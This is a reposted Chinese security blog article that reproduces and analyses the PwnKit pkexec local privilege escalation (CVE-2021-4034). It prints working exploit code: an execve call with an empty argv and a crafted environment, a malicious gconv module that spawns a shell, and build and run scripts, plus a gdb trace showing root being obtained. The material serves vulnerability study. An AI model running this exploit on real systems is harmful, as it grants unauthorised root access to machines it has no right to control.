CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

admin 2022年2月10日12:30:50评论441 views字数 10601阅读35分20秒阅读模式

前言

近期爆出了一个影响甚广的本地提权漏洞CVE-2021-4034,诸如Ubuntu、Debian、Fedora和CentOS 等主流Linux操作系统都受到了该漏洞影响。漏洞利用脚本在互联网上已经公开,利用起来异常简单且稳定。在当前的环境下,当攻击者获得目标操作系统一个普通用户权限时,则极大概率可以直接获得root权限,使得权限控制机制形同虚设。
而如此重大的漏洞,起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽,造成了一个数组溢出。如何利用一个数组溢出获得root权限呢?怀着这一疑问,本人对公开利用脚本进行了源码调试分析,感慨其利用技巧极具艺术性的同时,将分析过程记录成本篇文章。

感性的认识——漏洞复现

本次的漏洞复现环境为Kali-Linux-2021.2-vmware-amd64,其pkexec版本为0.105,使用普通用户kali进行复现。

 

下载exp源码并编译(如果目标环境没有gcc,可以在本地编译好了之后再拷贝上去)

git clone https://github.com/berdav/CVE-2021-4034.gitcd CVE-2021-4034make

测试exp效果,得到了root权限

  ./cve-2021-4034

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


漏洞分析基础环境

操作系统:Kali-Linux-2021.2-vmware-amd64
polkit源码版本:polkit-0.105
gdb配置:
1.设置反汇编风格为intel风格(个人喜好)
2.关闭pwndbg等配置,避免调试时过多的信息造成干扰
3.设置gdb的SUID位,避免调试pkexec时执行到geteuid函数失败,报错“pkexec must be setuid root”

 chmod 4755 /usr/bin/gdb



CVE-2021-4034 pkexec本地提权漏洞复现与原理分析




资源下载
https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz
https://github.com/berdav/CVE-2021-4034.git

前置知识

argc何时为0

test.c

#include<stdio.h>int main(int argc, char** argv){    printf("argc: %dn", argc);    for(int i; i<argc; i++) {        printf("%sn", argv[i]);    }     return 0;}

学过C语言的朋友都知道,如上代码中,argc表示参数的个数,argv存放着具体的参数,argv[0]指向程序本身,argv[1]指向第一个参数,argv[2]指向第二个参数,...,argv[argc]存放0 表示结束。


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

当我们在命令行中执行程序时,argc的取值至少为1,因为即使不加参数,argv[0]也要指向程序路径本身。pkexec的作者也是这么想的,从而百密一疏,遗留下了一个重大隐患。在特殊情况下,如使用execve来调用程序,并给argv传值 NULL,则argc为0。
execve函数声明



#include <unistd.h>int execve(const char *pathname, char *const argv[], char *const envp[]);

execve.c

#include <unistd.h> int main(int argc, char **argv){    return execve("./test", NULL, NULL);}


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

argv与envp在内存里的布局是连续的

execve.c

#include <unistd.h> int main(){    char* const argv[] = {        "AAAA1111",        "BBBB2222",        "CCCC3333",        NULL    };    char* const envp[] = {        "DDDD3333",        "EEEE4444",        "FFFF5555",        NULL    };    return execve("./test", argv, envp);}

使用execve调用test程序,并分别给argv与envp传递了3个值。

 

test.c

#include<stdio.h>int main(int argc, char** argv){    printf("argc: %dn", argc);    for(int i; i<8; i++) {        if(argv[i]!=NULL) {            printf("argv[%d]: %sn", i, argv[i]);        } else {            printf("argv[%d]: NULLn", i);        }    }     return 0;}

argc为3,加上截止符0,argv的大小为4,这里直接打印了8个值,显然是越界了。argv后面的内容是什么呢?

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


通过实验,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。

利用g_printerr 执行命令

main.


int main(){    g_printerr("Hello world.n");    return 0;}

pwnkit.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h> void gconv(void) {} void gconv_init(void *step){        char * const args[] = { "/bin/sh", "-pi", NULL };        char * const environ[] = { "PATH=/bin:/usr/bin", NULL };        execve(args[0], args, environ);        exit(0);}

Makefile

all:        echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules        gcc --shared -fPIC -o pwnkit.so pwnkit.c        gcc -o test main.c -lglib-2.0

      run.sh


#!/bin/bash
export CHARSET=AAAAexport GCONV_PATH=. ./test

g_printerr 的功能和printf很像,主要就是打印文本。在本实验中,当环境变量设置了CHARSET,且不为UTF-8时,g_printerr会进行编码转换,而转换的方法就是根据GCONV_PATH里的配置文件gconv-modules的说明,调用pwnkit.so,从而得到shell。

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

SUID权限

当一个程序被设置了SUID权限,则其他用户执行该程序时,可以临时切换到程序所有者的权限去执行一些功能。因为涉及到权限变更,所以在执行操作系统自带的此类程序时,往往被要求授权。
pkexec的所有者为root,具有SUID权限,当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后,得到了root权限。


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


执行具有SUID权限的程序时,不安全的环境变量不会被引入

打印所有环境变量
main.c

int main(){    system("env");    return 0;}

使用root用户进行编译,并设置SUID权限

gcc -g -O0 -o test main.cchmod 4755 ./test


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析



设置环境变量,并通过test程序打印出来,用以判断环境变量的导入情况

 

run.sh

#!/bin/bash
export GCONV_PATH=AAAA0001export GETCONF_DIR=AAAA0002export HOSTALIASES=AAAA0003export LD_AUDIT=AAAA0004export LD_DEBUG=AAAA0005export LD_DEBUG_OUTPUT=AAAA0006export LD_DYNAMIC_WEAK=AAAA0007export LD_HWCAP_MASK=AAAA0008export LD_LIBRARY_PATH=AAAA0009export LD_ORIGIN_PATH=AAAA0010export LD_PRELOAD=AAAA0011export LD_PROFILE=AAAA0012export LD_SHOW_AUXV=AAAA0013export LD_USE_LOAD_BIAS=AAAA0014export LOCALDOMAIN=AAAA0015export LOCPATH=AAAA0016export MALLOC_TRACE=AAAA0017export NIS_PATH=AAAA0018export NLSPATH=AAAA0019export RESOLV_HOST_CONF=AAAA0020export RES_OPTIONS=AAAA0021export TMPDIR=AAAA0022export TZDIR=AAAA0023 export PATH=AAAA1001:/usr/binexport SHELL=AAAA1002export CHARSET=AAAA1003export BBBB=AAAA1004 ./test

分别以root用户和kali用户执行“./run.sh |grep AAAA”,用来判断环境变量的导入情况。


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析



CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

通过实验可以知道,当以kali用户身份去执行所有者为root且具有SUID权限的程序时,GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。

利用原理分析

构建pkexec源码调试环境

下载源码polkit-0.105

https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz

安装编译环境

apt install automakeapt install autopointapt install libtoolapt install gtk-doc-toolsapt install libpam0g-devapt install intltool

编译

./configure (要把-O2换成 -O0,关闭优化,方便调试)make

设置SUID权限

以root用户赋权

cd src/programs/.libschmod 4755 pkexec



CVE-2021-4034 pkexec本地提权漏洞复现与原理分析



修改利用脚本berdav/CVE-2021-4034

修改利用脚本里调用的程序为刚编译好的pkexec,以便源码调试。
cve-2021-4034.c

#include <unistd.h> int main(int argc, char **argv){    char * const args[] = {        NULL    };    char * const environ[] = {        "pwnkit.so:.",        "PATH=GCONV_PATH=.",        "SHELL=/lol/i/do/not/exists",        "CHARSET=PWNKIT",        "GIO_USE_VFS=",        NULL    };    return execve("../polkit-0.105/src/programs/.libs/pkexec", args, environ);}

gdb调试

pkexec的授权认证是如何被绕过的

"./pkexec bash"是正常的用法,会先请求授权,然后再以root权限执行bash命令;而"./cve-2021-4034"会利用漏洞,跳过授权认证,直接以root权限执行命令。授权认证是如何被绕过的呢?
如果能在源码层次记录下两个程序的执行流程,则可以比对出有差异的地方,从而帮助我们理解“授权认证是如何被绕过”这个问题,更直观的理解漏洞利用过程。

gdb源码追踪脚本

step_trace.py

import sysimport gdbimport osimport re def in_frames(needle):    """ Check if the passed frame is still on the current stack """    hay = gdb.newest_frame()    while hay:        if hay == needle:            return True        hay = hay.older()    return False # Use this to reduce any kind of unwanted noisedef filter_step(output):    output = re.sub(r'^.*No such file or directory.n', r'', output, flags=re.M)    output = re.sub(r'^d+s+ins+.*n', r'', output, flags=re.M)    return output def step_trace(filename=None, step="step"):    counter = 0    if filename:        output = ""    frame = gdb.newest_frame()    print("Stepping until end of {} @ {}:{}".format(frame.name(), frame.function().symtab, frame.function().line))    while in_frames(frame):        counter += 1        if filename:            output += filter_step(gdb.execute(step, to_string=True))        else:            gdb.execute(step)     if filename:        with open(filename, "w") as file:            file.write(output)    print("Done stepping through {} lines.".format(counter))
(gdb) source step_trace.py(gdb) python step_trace(step="next")

step_trace.py是gdb的源码追踪脚本,可以把执行过的代码打印到终端上。其中,step="next" 表示单步步过,step="step" 表示单步步入。

调试"./pkexec bash"

bplist

set follow-fork-mode parentb mainb /home/kali/software/relase/polkit-0.105/src/programs/pkexec.c:900r bashsource step_trace.pypython step_trace(step="next")

在pkexec的main函数和调用execv(pkexec.c:900)时下断点,记录中间的源码调用。在调试过程中,可以知道授权弹窗在705行代码polkit_authority_check_authorization_sync处调用。另外,step_trace.py 把源码追踪的结果打印在了终端,可以通过复制的方式另存为gdb_pkexec_bash.log,以便后面的分析。


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

调试"./cve-2021-4034"

bplist_cve


b mainrcb /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:900set follow-fork-mode parentsource /home/kali/software/release/polkit-0.105/src/programs/.libs/step_trace.pypython step_trace(step="next")


源码追踪"./cve-2021-4034"的执行,并把日志记录为gdb_cve-2021-4034.log,以便后面的分析。


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析




CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

代码流日志比对CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

通过比对代码流日志,可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常,发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短,其在调用环境变量校验函数validate_environment_variable的时候就获得了shell,这也就解释了为何会绕过授权认证,因为根本就没走到那。

如何获取shell权限的

通过gdb调试,可以打印一些关键变量的值,并给gdb_cve-2021-4034.log加上备注,这样有助于理解漏洞利用过程。

深入调试"./cve-2021-4034"

bp

b mainrcb /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:593set follow-fork-mode parent
 gdb ./cve-2021-4034 -x bp


CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


由图可知,参数数组与环境变量数组在内存布局上是连续的,本例中,argv[1]即是environ[0]



CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

s被赋值为"GCONV_PATH=./pwnkit.so:.",在pkexec程序看来,这只是一个普通的文件路径,而这是攻击者特意构造的,是为了引入不安全的环境变量GCONV_PATH。



CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

利用越界写漏洞,成功引入不安全的环境变量GCONV_PATH。

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析


构造报错,调用g_printerr,得到shell。

 

gdb_cve-2021-4034_details.log



Breakpoint 1, main (argc=0, argv=0x7ffe2d2d4e58) at pkexec.c:406406       const gchar *environment_variables_to_save[] = {Breakpoint 2 at 0x55d64339bed6: file pkexec.c, line 900.Stepping until end of main @ pkexec.c:386442       ret = 127;443       authority = NULL;444       subject = NULL;445       details = NULL;446       result = NULL;447       action_id = NULL;448       saved_env = NULL;449       path = NULL;450       command_line = NULL;451       opt_user = NULL;452       local_agent_handle = NULL;455       if (geteuid () != 0)461       original_user_name = g_strdup (g_get_user_name ());462       if (original_user_name == NULL)468       if (getcwd (original_cwd, sizeof (original_cwd)) == NULL)478       opt_show_help = FALSE;479       opt_show_version = FALSE;480       opt_disable_internal_agent = FALSE;481       for (n = 1; n < (guint) argc; n++)       //n被赋值为1512       if (opt_show_help)518       else if (opt_show_version)525       if (opt_user == NULL)--Type <RET> for more, q to quit, c to continue without paging--526         opt_user = g_strdup ("root");536       g_assert (argv[argc] == NULL);537       path = g_strdup (argv[n]);                //越界读,path被赋值为 argv[1],即 environ[0],"pwnkit.so:."538       if (path == NULL)543       if (path[0] != '/')546           s = g_find_program_in_path (path);    //在环境变量PATH中寻找"pwnkit.so:.",并把路径返回给 s。利用脚本中把PATH设置为"GCONV_PATH=.",且在磁盘上提前生成了名为"GCONV_PATH=."的文件夹,并放置了名为"pwnkit.so:."的程序,因此,s被赋值 "GCONV_PATH=./pwnkit.so:."。547           if (s == NULL)552           g_free (path);553           argv[n] = path = s;                   //越界写,argv[1]被设置为"GCONV_PATH=./pwnkit.so:.",即environ[0] 被修改,重新引入了不安全的环境变量GCONV_PATH,至此完成了至关重要的一步。接下来只要随便构造个错误,使其报错时调用到 g_printerr 即可。555       if (access (path, F_OK) != 0)560       command_line = g_strjoinv (" ", argv + n);561       exec_argv = argv + n;566       rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);567       if (rc == 0 && pw == NULL)572       else if (pw == NULL)579       saved_env = g_ptr_array_new ();580       for (n = 0; environment_variables_to_save[n] != NULL; n++)582           const gchar *key = environment_variables_to_save[n];585           value = g_getenv (key);586           if (value == NULL)593           if (!validate_environment_variable (key, value))  //key="SHELL", value="/lol/i/do/not/exists",在校验环境变量时报错"The value for the SHELL variable was not found the /etc/shells file",进而调用了 g_printerr ,触发漏洞利用,最终执行pwnkit.so里的execve("/bin/sh", args, environ)得到shell。process 11852 is executing new program: /usr/bin/dashError in re-setting breakpoint 1: Function "main" not defined.Error in re-setting breakpoint 2: No source file named /home/kali/software/release/polkit-0.105/src/programs/pkexec.c.#

总结

当使用普通用户权限执行pkexec时,GCONV_PATH、LD_PRELOAD等不安全的环境变量会被删除,但攻击者可以通过参数数组的越界读写漏洞,重新引入不安全的环境变量,进而构造利用链获取root权限。这一漏洞的起因十分简单,危害却十分严重,值得深思。

参考

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://duo.com/decipher/serious-privilege-escalation-flaw-in-linux-component-patched
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://stackoverflow.com/questions/39602306/tracing-program-function-execution-on-source-line-level
https://www.xiebruce.top/1387.html
https://bbs.pediy.com/thread-271345.htm

本文转自看雪论坛,作者 Jtian 。原链接https://bbs.pediy.com/thread-271423.htm

如侵权后台请后台私聊删除文章

CVE-2021-4034 pkexec本地提权漏洞复现与原理分析



本文最终解释权归本文作者所有!!!

    本公众号发布的技术、靶场、文章项目中涉及的任何脚本工具,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断;

     本文章、项目内靶场所有资源文件,禁止任何公众号、自媒体进行任何形式的擅自转载、发布

    本公众号对任何脚本及工具问题概不负责,包括不限于由任何脚本错误导致的任何损失或损害及任何法律责任;

    间接使用本公众号发布的技术、场、文章项目中涉及的任何脚本工具,包括但不限于建立VPS或在某些行为违反国家/地区法律或相关法规的情况下进行传播, PTEHUB 对于由此引起的任何隐私泄漏或其他法律问题后果概不负责;

    如果任何单位或个人认为该项目或文章的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容;

    以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明;

    本公众号保留随时更改或补充此免责声明的权利;

    一旦使用访问本公众号的任何文章或项目,则视为您已接受此免责声明。

您在本声明未发出之时,使用或者访问了本公众号,则视为已接受此声明,请仔细阅读。

                                                                                              此致

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一切法律后果均由攻击者承担!!!

日站不规范,亲人两行泪!!!

不规范,亲人两行泪!

不规范,亲人两行泪!

  • 专注于信息安全方面分享,非营利性组织,不接商业广告

  • 关注不迷路,点赞!关注!转发!评论!!

  • 要投稿的后台留言即可,会第一时间回复,谢谢!




原文始发于微信公众号(每天一个入狱小技巧):CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月10日12:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-4034 pkexec本地提权漏洞复现与原理分析https://cn-sec.com/archives/771774.html

发表评论

匿名网友 填写信息